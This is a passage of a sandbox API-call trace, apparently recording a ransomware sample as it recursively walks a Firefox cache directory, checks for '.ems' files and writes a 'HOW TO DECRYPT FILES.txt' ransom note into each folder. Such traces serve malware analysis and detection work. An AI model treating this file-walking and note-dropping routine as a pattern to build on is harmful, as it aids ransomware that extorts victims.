HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\" [0086.213] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\") returned="" [0086.213] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\HOW TO DECRYPT FILES.txt" [0086.213] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\e0\\how to decrypt files.txt")) returned 0xffffffff [0086.213] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\e0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0086.216] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.216] CloseHandle (hObject=0xa8) returned 1 [0086.216] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\", lpString2="F17B2d01" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\F17B2d01") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\F17B2d01" [0086.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\F17B2d01", pszSpec="*.ems") returned 0 [0086.217] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x404f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="F17B2d01", cAlternateFileName="")) returned 0 [0086.217] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0086.217] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="E0", cAlternateFileName="")) returned 0 [0086.217] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0086.217] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x39, dwReserved1=0x0, cFileName="A", cAlternateFileName="")) returned 1 [0086.217] lstrcmpA (lpString1=".", lpString2="A") returned -1 [0086.217] lstrcmpA (lpString1="..", lpString2="A") returned -1 [0086.217] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0086.217] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="A" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A" [0086.217] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0086.217] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.218] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.218] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.218] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.218] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.218] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0086.218] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x41, dwReserved1=0x0, cFileName="B", cAlternateFileName="")) returned 1 [0086.218] lstrcmpA (lpString1=".", lpString2="B") returned -1 [0086.218] lstrcmpA (lpString1="..", lpString2="B") returned -1 [0086.218] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0086.218] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="B" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B" [0086.219] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0086.220] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.220] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.220] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.220] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.220] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.220] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0086.220] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 1 [0086.221] lstrcmpA (lpString1=".", lpString2="C") returned -1 [0086.221] lstrcmpA (lpString1="..", lpString2="C") returned -1 [0086.221] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0086.221] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="C" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C" [0086.221] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0086.221] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.221] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.221] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.222] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.222] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="E6", cAlternateFileName="")) returned 1 [0086.222] lstrcmpA (lpString1=".", lpString2="E6") returned -1 [0086.222] lstrcmpA (lpString1="..", lpString2="E6") returned -1 [0086.222] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\*.*") returned="*.*" [0086.222] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\", lpString2="E6" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6" [0086.222] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502798 [0086.222] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.222] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.222] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.222] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.222] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f21b70, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x21839, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9DCB7d01", cAlternateFileName="")) returned 1 [0086.223] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0086.223] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="9DCB7d01") returned 1 [0086.223] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="9DCB7d01") returned 1 [0086.223] lstrcmpiA (lpString1="", lpString2="9DCB7d01") returned -1 [0086.223] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\*.*") returned="*.*" [0086.223] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\" [0086.223] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\") returned="" [0086.223] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\HOW TO DECRYPT FILES.txt" [0086.223] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\c\\e6\\how to decrypt files.txt")) returned 0xffffffff [0086.223] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\c\\e6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0086.227] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.227] CloseHandle (hObject=0xa8) returned 1 [0086.227] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\", lpString2="9DCB7d01" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\9DCB7d01") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\9DCB7d01" [0086.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\9DCB7d01", pszSpec="*.ems") returned 0 [0086.227] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f21b70, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x21839, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9DCB7d01", cAlternateFileName="")) returned 0 [0086.227] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0086.228] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="E6", cAlternateFileName="")) returned 0 [0086.228] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0086.228] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0x0, cFileName="D", cAlternateFileName="")) returned 1 [0086.228] lstrcmpA (lpString1=".", lpString2="D") returned -1 [0086.228] lstrcmpA (lpString1="..", lpString2="D") returned -1 [0086.228] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0086.228] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="D" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D" [0086.228] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0086.230] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.230] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.230] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.230] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.230] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="08", cAlternateFileName="")) returned 1 [0086.230] lstrcmpA (lpString1=".", lpString2="08") returned -1 [0086.230] lstrcmpA (lpString1="..", lpString2="08") returned -1 [0086.230] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\*.*") returned="*.*" [0086.230] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\", lpString2="08" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08" [0086.230] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, 